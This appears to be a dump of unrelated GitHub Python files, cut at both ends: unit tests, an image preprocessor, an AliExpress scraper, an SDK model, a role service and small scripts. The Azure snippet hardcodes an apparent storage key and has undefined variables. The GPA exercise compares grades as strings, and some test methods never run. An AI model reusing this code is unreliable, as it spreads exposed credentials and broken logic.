my_sum(data)\n self.assertEqual(result, 6)\n\n def test_list_fraction(self):\n \"\"\"\n Test that it can sum a list of fractions\n \"\"\"\n data = [Fraction(1, 4), Fraction(1, 4), Fraction(2, 5)]\n result = sum(data)\n self.assertEqual(result, 1)\n\n def neg_test_truncate_to_decimal(self):\n \"\"\"\n Negative test decimalconversion\n \"\"\"\n result = truncate_to_decimal(\"two\")\n self.assertEqual(result, 2)\n with self.assertRaises(TypeError):\n print(TypeError)\n \n def pos_test_truncate_to_decimal(self):\n \"\"\"\n Positive test decimalconversion\n \"\"\"\n result = truncate_to_decimal(2.0)\n self.assertEqual(result, 2)\n with self.assertRaises(TypeError):\n print(TypeError)\n\n def test_bad_type(self):\n \"\"\"\n Testing bad type data\n \"\"\"\n data = \"banana\"\n with self.assertRaises(TypeError):\n result = sum(data)\n print(result)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"tifsolus/Python-Collaboration","sub_path":"m05/testing/main_test.py","file_name":"main_test.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9720625328","text":"#!/usr/bin/env python3\n# -*- coding: UTF-8 -*-\n\n\n\"\"\"\nimage存储成pickle\n\"\"\"\nimport numpy as np\nimport pickle\nimport os\nimport zlib\nimport gzip\nimport gdal\nimport sys\n# import cv2\nimport m1\n# from PIL import Image\nimport datetime\n\ndef create_pickle_train(image_path, mask_path, pkl_path, img_pixel=10, channels=3):\n m = 0\n n=0\n # image_data = Multiband2Array(image_path)\n image_data=m1.Multiband2Array(image_path)\n # mask_data = cv2.split(cv2.imread(mask_path))[0] / 255\n # mask_data=np.asarray(Image.open(mask_path))//255\n\n mask_data=m1.Multiband2Array(mask_path)//255\n\n\n x_size, y_size = image_data.shape[:2]\n\n data_list = []\n flag=True\n for i in range(0, x_size - img_pixel + 1, img_pixel // 2): # 文件夹下的文件名\n if not flag:break\n if i + img_pixel > x_size:\n i = x_size - img_pixel - 1\n for j in range(0, y_size - img_pixel + 1, img_pixel // 2):\n if j + img_pixel > y_size:\n j = y_size - img_pixel - 1\n cropped_data = image_data[i:i + img_pixel, j:j + img_pixel]\n data1 = cropped_data.reshape((-1, img_pixel * img_pixel * channels)) # 展成一行\n train_label = mask_data[i:i + img_pixel, j:j + img_pixel].max()\n # train_label = 1\n # train_label = mask_data[i:i + img_pixel, j:j + img_pixel].min()\n # train_label = int(mask_data[i:i + img_pixel, j:j + img_pixel].sum() / (img_pixel*img_pixel/2+1))\n data2 = np.append(data1, train_label)[np.newaxis, :] # 数据+标签\n data_list.append(data2)\n\n m += 1\n if m >=10000000:\n data_matrix = np.array(data_list, dtype=np.float32)\n data_matrix = data_matrix.reshape((-1, 301))\n with gzip.open(pkl_path+'_'+str(n)+'.pkl', 'wb') as writer: # 以压缩包方式创建文件,进一步压缩文件\n pickle.dump(data_matrix, writer) # 数据存储成pickle文件\n data_list=[]\n m=0\n n+=1\n flag=False\n break\n # if m % 10000 == 0: print(datetime.datetime.now(), \"compressed {number} images\".format(number=m))\n # print(m)\n # data_matrix = np.array(data_list, dtype=int)\n if data_list!=[]:\n data_matrix = np.array(data_list, dtype=np.float32)\n data_matrix = data_matrix.reshape((-1, 301))\n data_matrix=data_matrix.astype(np.float32)\n # data_matrix = data_matrix.tostring() # 转成byte,缩小文件大小\n with gzip.open(pkl_path+'.pkl', 'wb') as writer: # 以压缩包方式创建文件,进一步压缩文件\n pickle.dump(data_matrix, writer) # 数据存储成pickle文件\n\n\n# def read_and_decode(filename, img_pixel=isize, channels=img_channel):\ndef read_and_decode(filename):\n with gzip.open(filename, 'rb') as pkl_file: # 打开文件\n data = pickle.load(pkl_file) # 加载数据\n\n return data\n\n\n'''\n其他工具\n'''\n\n\n# ---------------生成多列标签 如:0,1 对应为[1,0],[0,1]------------#\n# 单列标签转成多列标签\ndef dense_to_one_hot(labels_dense, num_classes):\n \"\"\"Convert class labels from scalars to one-hot vectors.\"\"\"\n # 从标量类标签转换为一个one-hot向量\n num_labels = labels_dense.shape[0]\n index_offset = np.arange(num_labels) * num_classes\n # print index_offset\n labels_one_hot = np.zeros((num_labels, num_classes))\n labels_one_hot.flat[index_offset + labels_dense.ravel()] = 1\n return labels_one_hot\n\ndef dense_to_one_hot2(labels_dense,num_classes):\n labels_dense=np.array(labels_dense,dtype=np.uint8)\n num_labels = labels_dense.shape[0] # 标签个数\n labels_one_hot=np.zeros((num_labels,num_classes),np.uint8)\n for i,itenm in enumerate(labels_dense):\n labels_one_hot[i,itenm]=1\n # 如果labels_dense不是int类型,itenm就不是int,此时做数组的切片索引就会报错,\n # 数组索引值必须是int类型,也可以 int(itenm) 强制转成int\n # labels_one_hot[i, :][itenm] = 1\n return labels_one_hot\n# ------------next_batch------------#\n'''\n注:\n每次 data传入next_batch()完成,进行下一次传入时,先进行打乱\n如下面的做法:\n\ntotal_batch = int(img_nums / batch_size)\ndata=read_and_decode(filename,img_pixel=isize,channels=3)\n\nfor epoch in range(training_epochs):\n # 将数据按行打乱\n index = [i for i in range(len(data))] # len(data)得到的行数\n np.random.shuffle(index) # 将索引打乱\n data = data[index]\n for i in range(total_batch):\n img, label=next_batch(data,batch_size,img_pixel=isize,channels=img_channel)\n ......\n'''\n\n\n# 按batch_size提取数据\n# batch_size为每次批处理样本数\n# data包含特征+标签 每一行都是 特征+标签\n\nstart_index = 0\ndef next_batch(data, batch_size, img_pixel=3, channels=4):\n global start_index # 必须定义成全局变量\n global second_index # 必须定义成全局变量\n\n second_index = start_index + batch_size\n\n if second_index > len(data):\n second_index = len(data)\n data1 = data[start_index:second_index]\n # lab=labels[start_index:second_index]\n start_index = second_index\n if start_index >= len(data):\n start_index = 0\n\n # 将每次得到batch_size个数据按行打乱\n index = [i for i in range(len(data1))] # len(data1)得到的行数\n np.random.shuffle(index) # 将索引打乱\n data1 = data1[index]\n\n # 提起出数据和标签\n img = data1[:, 0:img_pixel * img_pixel * channels]\n\n # img = img * (1. / img.max) - 0.5\n img = img * (1. / 255) - 0.5 # 数据归一化到 -0.5~0.5\n img = img.astype(np.float32) # 类型转换\n\n label = data1[:, -1]\n label = label.astype(int) # 类型转换\n\n return img, label\n\nif __name__ == \"__main__\":\n start_time = datetime.datetime.now()\n print(\"startTime: \", start_time)\n\n print('找到对应的data与label图像')\n data_images=[]\n label_images=[]\n\n data_path=r'E:\\耕地样本数据\\test'\n\n for root, dirs, files in os.walk(data_path):\n for file in files:\n code_file = os.path.join(root, file)\n if code_file.endswith('.tif'): # 找出所有.tif文件\n if 'mask' in file:\n label_images.append(code_file)\n file1=file.replace('_mask','')\n data_images.append(os.path.join(root, file1))\n\n\n for i in range(len(data_images)):\n # 生成训练集\n # image_path = r\"L15-3322E-2473N_01.tif\"\n # mask_path = r\"L15-3322E-2473N_01_mask.tif\"\n image_path=data_images[i]\n mask_path=label_images[i]\n pkl_path = image_path[0:-4] #+ \".pkl\"\n print(\"影像路径:\", image_path)\n print(\"掩模路径:\", mask_path)\n print(\"序列化文件:\", pkl_path)\n\n create_pickle_train(image_path, mask_path, pkl_path, img_pixel=10, channels=3)\n\n end_time = datetime.datetime.now()\n print(\"endTime: \", end_time)\n print(\"seconds used: \", (end_time - start_time).seconds)\n\n\n\n\n\n\n\n\n","repo_name":"wucng/TensorExpand","sub_path":"TensorExpand/data/processing/tf_pickle.py","file_name":"tf_pickle.py","file_ext":"py","file_size_in_byte":7126,"program_lang":"python","lang":"en","doc_type":"code","stars":348,"dataset":"github-code","pt":"37"} +{"seq_id":"40717546345","text":"import urllib\nimport scrapy\nimport scrapy.log\n\nfrom scrapy.http import Request\nfrom scrapy.log import ERROR, WARNING, INFO, DEBUG\n\nfrom news_parser.items import AliItem\n\n\n# scrapy crawl ali_spider -a search_term='...' (str)\nclass AliSpider(scrapy.Spider):\n \"\"\"Spider to parse aliexpress.com\"\"\"\n name = 'ali_spider'\n allowed_domains = ['aliexpress.com']\n\n SEARCH_URL = \"http://www.aliexpress.com/premium/{search_term}.html?ltype\" \\\n \"=wholesale&SearchText={search_term}\"\n\n def __init__(self, search_term='', required_pages=2, *args, **kwargs):\n super(AliSpider, self).__init__(*args, **kwargs)\n self.search_term = urllib.quote_plus(search_term.strip())\n self.required_pages = required_pages\n\n def start_requests(self):\n \"\"\"Create requests for search url formated with search term.\n Add search term to request.meta\n \"\"\"\n yield Request(self.SEARCH_URL.format(search_term=self.search_term),\n meta={'search_term': self.search_term})\n\n def make_requests_from_url(self, url):\n \"\"\"This method fully replaced by start_requests method\"\"\"\n raise AssertionError(\"Need a search term.\")\n\n def parse(self, response):\n \"\"\"Parse page, find detail links for all item, return response\n prepopulated with item instance and additional meta data.\n Also find link to the next page and call function recursively.\n \"\"\"\n self.log('Parsing url %s' % response.url, INFO)\n search_term = response.meta.get('search_term')\n\n # found link for next page\n # not performed yet\n current_page = response.meta.get('current_page')\n next_page = response.meta.get('next_page')\n if not current_page and not next_page:\n current_page = 1\n next_page = 2\n else:\n current_page += 1\n next_page += 1\n # define initial meta data that will be used with responses\n meta = {'current_page': current_page,\n 'next_page': next_page,\n 'search_term': search_term}\n\n if next_page <= self.required_pages:\n try:\n self.log('Commenced parse page number %s' % next_page, INFO)\n next_link = response.xpath(\n '//a[@class=\"page-next\"]/@href'\n ).extract()[0]\n yield Request(next_link, self.parse, meta=meta)\n # next_link is blank, no next page was found\n except IndexError:\n self.log('No next page was found', ERROR)\n\n # find links for product details\n links = response.xpath(\n '//li[contains(@class,\"list-item\")]//a[contains\\\n (@class, \"history-item product\")]/@href'\n ).extract()\n if links:\n products_per_page = len(links)\n i = 1\n for link in links:\n search_rank = i + products_per_page*(current_page - 1)\n i += 1\n item = AliItem()\n item['search_rank'] = search_rank\n item['link'] = link\n total_matches = response.xpath(\n '//strong[@class=\"search-count\"]/text()').extract()\n item['total_matches'] = total_matches[0].replace(',', '')\n item['products_per_page'] = products_per_page\n # add item instance to meta dictionary\n meta['item'] = item\n yield Request(link, self.parse_detail, meta=meta)\n # handle if no any links were found.\n else:\n fail_string = \"Please try again\"\n fail_answer = response.xpath(\n '//div[contains(@class, \"board-attention\")]/text()'\n ).extract()\n if fail_answer:\n if fail_string in fail_answer[1]:\n self.log('Nothng was found with search_term %s'\n % search_term, ERROR)\n\n def parse_detail(self, response):\n \"\"\"Parse page and populate item with required info\"\"\"\n item = response.meta.get('item')\n current_page = response.meta.get('current_page')\n next_page = response.meta.get('next_page')\n if not item:\n self.log('Item was not populated', ERROR)\n\n # create dictionary of meta properties and contents\n metadata_dom = response.xpath(\"/html/head/meta[@property]\")\n props = metadata_dom.xpath(\"@property\").extract()\n conts = metadata_dom.xpath(\"@content\").extract()\n\n meta_dict = {p: c for p, c in zip(props, conts)}\n\n search_term = response.meta.get('search_term')\n item['search_term'] = search_term\n item['page_number'] = current_page\n\n try:\n # asume price set in one number format\n price = response.xpath(\n '//span[@itemprop=\"price\"]/text()'\n ).extract()\n price_str = price[0]\n except IndexError:\n # price set inf format low-high\n price_low = response.xpath(\n '//span[@itemprop=\"lowPrice\"]/text()'\n ).extract()\n price_high = response.xpath(\n '//span[@itemprop=\"highPrice\"]/text()'\n ) .extract()\n price_str = \"{low}-{high}\".format(low=price_low[0],\n high=price_high[0])\n item['price'] = \"USD {price}\".format(price=price_str)\n\n # title with stiped ' on Aliexpress.com | Alibaba Group'\n info_string = ' Aliexpress.com | Alibaba Group'\n # was made spited cause in case use whole word also sh'oes striped\n string_on = ' on'\n item['title'] = meta_dict.get('og:title').\\\n rstrip(info_string).rstrip(string_on)\n yield item\n","repo_name":"vg01/parser","sub_path":"news_parser/spiders/ali_spider.py","file_name":"ali_spider.py","file_ext":"py","file_size_in_byte":5787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"45517022758","text":"import requests\nimport json\nresponse_API = requests.get('https://s3.amazonaws.com/open-to-cors/assignment.json')\n#print(response_API.status_code)\ndata = response_API.text\nparse_json = json.loads(data)\nl=[]\npd=parse_json[\"products\"]\nfor i in pd:\n temp=[]\n temp.append(parse_json[\"products\"][i][\"title\"])\n temp.append(parse_json[\"products\"][i][\"price\"])\n l.append(temp)\nfor i in range(len(l)):\n print(f'{l[i][0]}:{l[i][1]}')","repo_name":"samik1999/Assignment-1","sub_path":"assignment.py","file_name":"assignment.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15796738058","text":"from __future__ import annotations\nfrom dataclasses import dataclass, field\nfrom kiota_abstractions.serialization import Parsable, ParseNode, SerializationWriter\nfrom typing import Any, Callable, Dict, List, Optional, TYPE_CHECKING, Union\n\nif TYPE_CHECKING:\n from .federated_idp_mfa_behavior import FederatedIdpMfaBehavior\n from .prompt_login_behavior import PromptLoginBehavior\n from .saml_or_ws_fed_provider import SamlOrWsFedProvider\n from .signing_certificate_update_status import SigningCertificateUpdateStatus\n\nfrom .saml_or_ws_fed_provider import SamlOrWsFedProvider\n\n@dataclass\nclass InternalDomainFederation(SamlOrWsFedProvider):\n # The OdataType property\n odata_type: Optional[str] = \"#microsoft.graph.internalDomainFederation\"\n # URL of the endpoint used by active clients when authenticating with federated domains set up for single sign-on in Azure Active Directory (Azure AD). Corresponds to the ActiveLogOnUri property of the Set-MsolDomainFederationSettings MSOnline v1 PowerShell cmdlet.\n active_sign_in_uri: Optional[str] = None\n # Determines whether Azure AD accepts the MFA performed by the federated IdP when a federated user accesses an application that is governed by a conditional access policy that requires MFA. The possible values are: acceptIfMfaDoneByFederatedIdp, enforceMfaByFederatedIdp, rejectMfaByFederatedIdp, unknownFutureValue. For more information, see federatedIdpMfaBehavior values.\n federated_idp_mfa_behavior: Optional[FederatedIdpMfaBehavior] = None\n # If true, when SAML authentication requests are sent to the federated SAML IdP, Azure AD will sign those requests using the OrgID signing key. If false (default), the SAML authentication requests sent to the federated IdP are not signed.\n is_signed_authentication_request_required: Optional[bool] = None\n # Fallback token signing certificate that is used to sign tokens when the primary signing certificate expires. Formatted as Base64 encoded strings of the public portion of the federated IdP's token signing certificate. Needs to be compatible with the X509Certificate2 class. Much like the signingCertificate, the nextSigningCertificate property is used if a rollover is required outside of the auto-rollover update, a new federation service is being set up, or if the new token signing certificate is not present in the federation properties after the federation service certificate has been updated.\n next_signing_certificate: Optional[str] = None\n # Sets the preferred behavior for the sign-in prompt. The possible values are: translateToFreshPasswordAuthentication, nativeSupport, disabled, unknownFutureValue.\n prompt_login_behavior: Optional[PromptLoginBehavior] = None\n # URI that clients are redirected to when they sign out of Azure AD services. Corresponds to the LogOffUri property of the Set-MsolDomainFederationSettings MSOnline v1 PowerShell cmdlet.\n sign_out_uri: Optional[str] = None\n # Provides status and timestamp of the last update of the signing certificate.\n signing_certificate_update_status: Optional[SigningCertificateUpdateStatus] = None\n \n @staticmethod\n def create_from_discriminator_value(parse_node: Optional[ParseNode] = None) -> InternalDomainFederation:\n \"\"\"\n Creates a new instance of the appropriate class based on discriminator value\n param parse_node: The parse node to use to read the discriminator value and create the object\n Returns: InternalDomainFederation\n \"\"\"\n if not parse_node:\n raise TypeError(\"parse_node cannot be null.\")\n return InternalDomainFederation()\n \n def get_field_deserializers(self,) -> Dict[str, Callable[[ParseNode], None]]:\n \"\"\"\n The deserialization information for the current model\n Returns: Dict[str, Callable[[ParseNode], None]]\n \"\"\"\n from .federated_idp_mfa_behavior import FederatedIdpMfaBehavior\n from .prompt_login_behavior import PromptLoginBehavior\n from .saml_or_ws_fed_provider import SamlOrWsFedProvider\n from .signing_certificate_update_status import SigningCertificateUpdateStatus\n\n from .federated_idp_mfa_behavior import FederatedIdpMfaBehavior\n from .prompt_login_behavior import PromptLoginBehavior\n from .saml_or_ws_fed_provider import SamlOrWsFedProvider\n from .signing_certificate_update_status import SigningCertificateUpdateStatus\n\n fields: Dict[str, Callable[[Any], None]] = {\n \"activeSignInUri\": lambda n : setattr(self, 'active_sign_in_uri', n.get_str_value()),\n \"federatedIdpMfaBehavior\": lambda n : setattr(self, 'federated_idp_mfa_behavior', n.get_enum_value(FederatedIdpMfaBehavior)),\n \"isSignedAuthenticationRequestRequired\": lambda n : setattr(self, 'is_signed_authentication_request_required', n.get_bool_value()),\n \"nextSigningCertificate\": lambda n : setattr(self, 'next_signing_certificate', n.get_str_value()),\n \"promptLoginBehavior\": lambda n : setattr(self, 'prompt_login_behavior', n.get_enum_value(PromptLoginBehavior)),\n \"signOutUri\": lambda n : setattr(self, 'sign_out_uri', n.get_str_value()),\n \"signingCertificateUpdateStatus\": lambda n : setattr(self, 'signing_certificate_update_status', n.get_object_value(SigningCertificateUpdateStatus)),\n }\n super_fields = super().get_field_deserializers()\n fields.update(super_fields)\n return fields\n \n def serialize(self,writer: SerializationWriter) -> None:\n \"\"\"\n Serializes information the current object\n param writer: Serialization writer to use to serialize this model\n Returns: None\n \"\"\"\n if not writer:\n raise TypeError(\"writer cannot be null.\")\n super().serialize(writer)\n writer.write_str_value(\"activeSignInUri\", self.active_sign_in_uri)\n writer.write_enum_value(\"federatedIdpMfaBehavior\", self.federated_idp_mfa_behavior)\n writer.write_bool_value(\"isSignedAuthenticationRequestRequired\", self.is_signed_authentication_request_required)\n writer.write_str_value(\"nextSigningCertificate\", self.next_signing_certificate)\n writer.write_enum_value(\"promptLoginBehavior\", self.prompt_login_behavior)\n writer.write_str_value(\"signOutUri\", self.sign_out_uri)\n writer.write_object_value(\"signingCertificateUpdateStatus\", self.signing_certificate_update_status)\n \n\n","repo_name":"microsoftgraph/msgraph-sdk-python","sub_path":"msgraph/generated/models/internal_domain_federation.py","file_name":"internal_domain_federation.py","file_ext":"py","file_size_in_byte":6464,"program_lang":"python","lang":"en","doc_type":"code","stars":186,"dataset":"github-code","pt":"37"} +{"seq_id":"72492017708","text":"# https://atcoder.jp/contests/abc123/tasks/abc123_b\nimport sys\ndef input(): return sys.stdin.readline().rstrip()\n\ndef main():\n menu = [int(input()) for _ in range(5)]\n\n ans = 0\n min_m = 10\n for m in menu:\n ans += (m + 9) // 10 * 10\n if m % 10 > 0:\n min_m = min(min_m, m % 10)\n if min_m > 0:\n ans += min_m - 10\n print(ans)\n\nif __name__ == '__main__':\n main()\n","repo_name":"tttokiooo/AtCoder_python","sub_path":"ABC101_200/ABC123/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9372044275","text":"import numpy as np\nimport mxnet as mx\n\n\nclass MultiPad(object):\n def __init__(self, axis=(0,), pad_val=0, ret_length=False):\n self._axis = axis\n\n if isinstance(axis, int):\n axis = (axis,)\n\n assert isinstance(axis, tuple), 'axis must be an tuple! ' \\\n 'Received axis=%s, type=%s.' % (str(axis),\n str(type(axis)))\n self._pad_val = pad_val\n self._ret_length = ret_length\n\n def __call__(self, data):\n \"\"\"Batchify the input data.\n Parameters\n ----------\n data : list\n A list of N samples. Each sample can be 1) ndarray or\n 2) a list/tuple of ndarrays\n Returns\n -------\n batch_data: NDArray\n Data in the minibatch. Shape is (N, ...)\n valid_length: NDArray, optional\n The sequences' original lengths at the padded axis. Shape is (N,). This will only be\n returned in `ret_length` is True.\n \"\"\"\n if isinstance(data[0], (mx.nd.NDArray, np.ndarray, list)):\n padded_arr, original_length = _pad_arrs_to_max_length(data, self._axis,\n self._pad_val, True)\n if self._ret_length:\n return padded_arr, original_length\n else:\n return padded_arr\n else:\n raise NotImplementedError\n\n\ndef _pad_arrs_to_max_length(arrs, pad_axes, pad_val, use_shared_mem=False):\n \"\"\"Inner Implementation of the Pad batchify\n Parameters\n ----------\n arrs : list\n pad_axes : tuple\n pad_val : number\n use_shared_mem : bool, default False\n Returns\n -------\n ret : NDArray\n original_length : NDArray\n \"\"\"\n if not isinstance(arrs[0], (mx.nd.NDArray, np.ndarray)):\n arrs = [np.asarray(ele) for ele in arrs]\n original_length = np.array([[ele.shape[pad_axis] for pad_axis in pad_axes] for ele in arrs])\n max_size = np.max(original_length, axis=0)\n\n ret_shape = list(arrs[0].shape)\n for pad_axis, axis_max_size in zip(pad_axes, max_size):\n ret_shape[pad_axis] = axis_max_size\n\n ret_shape = (len(arrs), ) + tuple(ret_shape)\n if use_shared_mem:\n ret = mx.nd.full(shape=ret_shape, val=pad_val, ctx=mx.Context('cpu_shared', 0),\n dtype=arrs[0].dtype)\n original_length = mx.nd.array(original_length, ctx=mx.Context('cpu_shared', 0),\n dtype=np.int32)\n else:\n ret = mx.nd.full(shape=ret_shape, val=pad_val, dtype=arrs[0].dtype)\n original_length = mx.nd.array(original_length, dtype=np.int32)\n\n for i, arr in enumerate(arrs):\n slices = [slice(None) for _ in range(arr.ndim)]\n for pad_axis in pad_axes:\n slices[pad_axis] = slice(0, arr.shape[pad_axis])\n slices = [slice(i, i + 1)] + slices\n ret[tuple(slices)] = arr\n\n return ret, original_length","repo_name":"author-hidden-name/GAN-segmentation","sub_path":"deeplabv3plus/lib/data/multi_pad.py","file_name":"multi_pad.py","file_ext":"py","file_size_in_byte":3021,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"8760771365","text":"from datetime import datetime\nfrom typing import List\n\nfrom backend.data.system_enum import EnumHandlerCategory\nfrom backend.data.transaction import Transaction\nfrom backend.model.edit.role_em import RoleEm\nfrom backend.model.edit.user_role_map_em import UserRoleMapEm\nfrom backend.repository.data_permission_repository import DataPermissionRepository\nfrom backend.repository.role_repository import RoleRepository\nfrom backend.repository.user_role_map_repository import UserRoleMapRepository\nfrom backend.utility.error_helper import BusinessError\n\n\ndef get_user_current_role(user_id: str) -> RoleEm:\n return UserRoleMapRepository.get_user_current_role_by_user_id(user_id)\n\n\ndef get_user_current_role_code(user_id: str) -> str:\n current_role = get_user_current_role(user_id)\n if current_role:\n return current_role.code\n else:\n raise BusinessError(\"无法获取用户当前角色\")\n\n\ndef set_user_current_role(user_id: str, role_id: str, transaction: Transaction):\n urm: UserRoleMapEm = UserRoleMapRepository.get_first_entity_by_params({\n \"user_id\": user_id,\n \"role_id\": role_id,\n })\n if urm is None:\n raise BusinessError(\"您没有权限切换到目标角色\")\n urm.last_enabled_time = datetime.now()\n UserRoleMapRepository.update_entity(\n data=urm,\n transaction=transaction,\n col_list=[\"last_enabled_time\"],\n )\n\n\ndef set_user_role_list(user_id: str, role_id_list: List[str], transaction: Transaction):\n goal_role_id = set(role_id_list)\n exist_roles_id = set(map(\n lambda x: x.id,\n UserRoleMapRepository.fetch_roles_by_user_id(user_id)\n ))\n\n need_add_role_id = goal_role_id - exist_roles_id\n need_del_role_id = exist_roles_id - goal_role_id\n\n for role_id in need_add_role_id:\n UserRoleMapRepository.add_user_role_map(user_id, role_id, transaction)\n for role_id in need_del_role_id:\n UserRoleMapRepository.del_user_role_map(user_id, role_id, transaction)\n\n\ndef get_role_list_for_management() -> List[RoleEm]:\n return RoleRepository.get_all_role()\n\n\ndef create_or_update_role_item(data: RoleEm, transaction: Transaction, do_update) -> str:\n if not do_update:\n return RoleRepository.create_role(role_em=data, transaction=transaction)\n else:\n exist_role = RoleRepository.get_role_by_id(data.id)\n if exist_role and not exist_role.editable:\n raise BusinessError(\"该角色不可编辑\")\n RoleRepository.update_menu_item(data=data, transaction=transaction)\n return data.id\n\n\ndef delete_role_item_by_id(role_id: str, transaction: Transaction):\n exist_role = RoleRepository.get_role_by_id(role_id)\n if exist_role and not exist_role.editable:\n raise BusinessError(\"该角色不可编辑\")\n\n RoleRepository.delete_role_by_id(role_id=role_id, transaction=transaction)\n data_permissions = DataPermissionRepository.get_all_data_permission_by_params(\n params={\n \"authorized_object_category\": EnumHandlerCategory.role.name,\n \"authorized_object_id\": role_id\n }\n )\n\n for data_permission in data_permissions:\n DataPermissionRepository.delete_data_permission_with_detail(\n data_permission_id=data_permission.id,\n transaction=transaction\n )\n","repo_name":"Philogag/The-Project-Demo","sub_path":"backend/service/role_service.py","file_name":"role_service.py","file_ext":"py","file_size_in_byte":3306,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"28289289045","text":"from pytube import YouTube\n\nurl = 'https://www.youtube.com/watch?v=9ZBmn5AzbPE'\nprint (url)\n\nyt_video = YouTube(url)\nprint(yt_video.title)\n\nyt_video = yt_video.streams.get_highest_resolution()\nyt_video.download()\n\nprint('your video is downloaded successfully')\n","repo_name":"elmarkrainz/yt_downloader_python","sub_path":"ytdownloader.py","file_name":"ytdownloader.py","file_ext":"py","file_size_in_byte":261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2744812324","text":"## Calculates the GPA of each student.\n## Author: M. Ployee\n## Last Modified: 25/8/21\n## Contributors:\n### M. Ployee\n\n\n#Blank variable to store user input and GPA\ntotals = set()\nletters = set()\n\n#Get and store user input\nprint (\"Please enter the grade for each student, or press q to quit\")\nwhile(True):\n user_input = input(\"> \")\n if(user_input.lower() == \"q\"):\n break\n totals.add(user_input)\n\n#Caclulate letter grade for each user response\nfor total in totals:\n if total <= \"59\":\n letters.add(\"F\")\n elif total <= \"69\":\n letters.add(\"P\")\n elif total <= \"79\":\n letters.add(\"C\")\n elif total <= \"89\":\n letters.add(\"D\")\n else:\n letters.add(\"HD\")\n\n#Print GPA results.\nprint(\"The GPA for your students is: {}\".format(totals))","repo_name":"GlenAMacdonald/CIT","sub_path":"Apply Introductory Programming/SWT2 - Test and Debug/Test.py","file_name":"Test.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31061498230","text":"from azure.storage.blob import BlobServiceClient, BlobClient, __version__\nimport logging\nimport os\n\ndef downLoadFile(container_client):\n logging.info(\"Azure Blob Storage v\" + __version__)\n\n connect_blob = \"fY8lq3DMilBGVu09YgSxE3V9uajAS8LUhJIqviqY0n8s2wtZa9cLsns8IiVXv+5ym2t1WAeffoBeOsjyKry89A==\"\n\n blob_service_client = BlobServiceClient.from_connection_string(connect_blob)\n\n # 実際はログイン情報をもとにコンテナを参照する\n container_name = \"techc\"\n\n container_client = blob_service_client.container\n\n blob_list = container_client.list_blobs()\n\n for blob in blob_list:\n print('\\t' + blob.name)\n\n xlx_filename\n\n return xlx_filename\n","repo_name":"tearaikazuki/face-pass-backend","sub_path":"ImagePreProcessing/function/get_blobfile.py","file_name":"get_blobfile.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"312724081","text":"from django.contrib.auth.views import LoginView, LogoutView\nfrom django.urls import path\nfrom . import views\n\napp_name = 'user'\n\nurlpatterns = [\n path(\"register/\", views.register_view, name=\"register\"),\n path(\"login/\", LoginView.as_view(), name=\"login\"),\n path(\"logout/\", LogoutView.as_view(), name=\"logout\"),\n path('<slug:username>/', views.UserDetails.as_view(), name='user_page'),\n path('book/<int:book_pk>/review/', views.AddReview.as_view(), name='add_review'),\n]\n","repo_name":"psysheep/django_app","sub_path":"user/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8240996211","text":"from main import User\n\nstep_handler_command_error = 'Судя по всему это команда, пожалуйста отправьте её повторно'\nfirst_text = 'Здравствуйте, я бот IsAbsent 👋\\nЧтобы начать работу напишите мне ваш код авторизации\\n\\n' \\\n '<a href=\"https://telegra.ph/CHto-takoe-kod-avtorizacii-i-kak-ego-poluchit-01-22\">Что это и как его ' \\\n 'получить?</a>'\n\nmain_admin_menu = 'Главное меню админа'\n\nchoose_date_from_student = 'Выбери дату пропуска'\n\nall_schools_text = 'Всего {count} школ:'\nadmin_school_menu = 'Меню школы {school_name}'\n\nnew_request_from_student = 'Ваш ученик хочет добавить своё отсутствие на {date} по причине {reason}'\n\n\ndef welcome_text(user: User):\n texts = {\n 'teacher': f'Вы успешно авторизовались как учитель {user.full_name}',\n 'student': f'Привет, {user.name}!'\n }\n\n return texts[user.role]\n\n\nerror = 'Error'\n\n\ndef help_text(user):\n return '@igorduino'\n","repo_name":"IgorDuino/isabsent_tg","sub_path":"texts.py","file_name":"texts.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4611023968","text":"#!/usr/bin/env python3\n\n\nimport sys\nimport os\nimport pickle\n\nAll = {}\nlistOfMeaning = [\"uid\", \"owner\", \"xloc\", \"yloc\", \"type\", \"effic\", \"mobil\", \"off\", \"tech\", \"opx\", \"opy\", \"mission\",\n \"radius\", \"fleet\", \"civil\", \"milit\", \"shell\", \"gun\", \"petrol\", \"iron\", \"dust\", \"bar\", \"food\", \"oil\",\n \"lcm\", \"hcm\", \"uw\", \"rad\", \"access\", \"name\", \"rflags\", \"rpath\"]\n\nif os.path.exists(\"ship_sectors.p\"):\n fin = open(\"ship_sectors.p\", \"rb\")\n sectors = pickle.load(fin)\n fin.close()\nelse:\n sectors = {}\n# f = open(\"ship.random.txt\", \"r\") #deleteafter\n\ndef dictAll(words):\n dictAll = {}\n listOfMeaning = [\"uid\", \"owner\", \"xloc\", \"yloc\", \"type\", \"effic\", \"mobil\", \"off\", \"tech\", \"opx\", \"opy\", \"mission\", \"radius\", \"fleet\", \"civil\", \"milit\", \"shell\", \"gun\", \"petrol\", \"iron\", \"dust\", \"bar\", \"food\", \"oil\", \"lcm\", \"hcm\", \"uw\", \"rad\", \"access\", \"name\", \"rflags\", 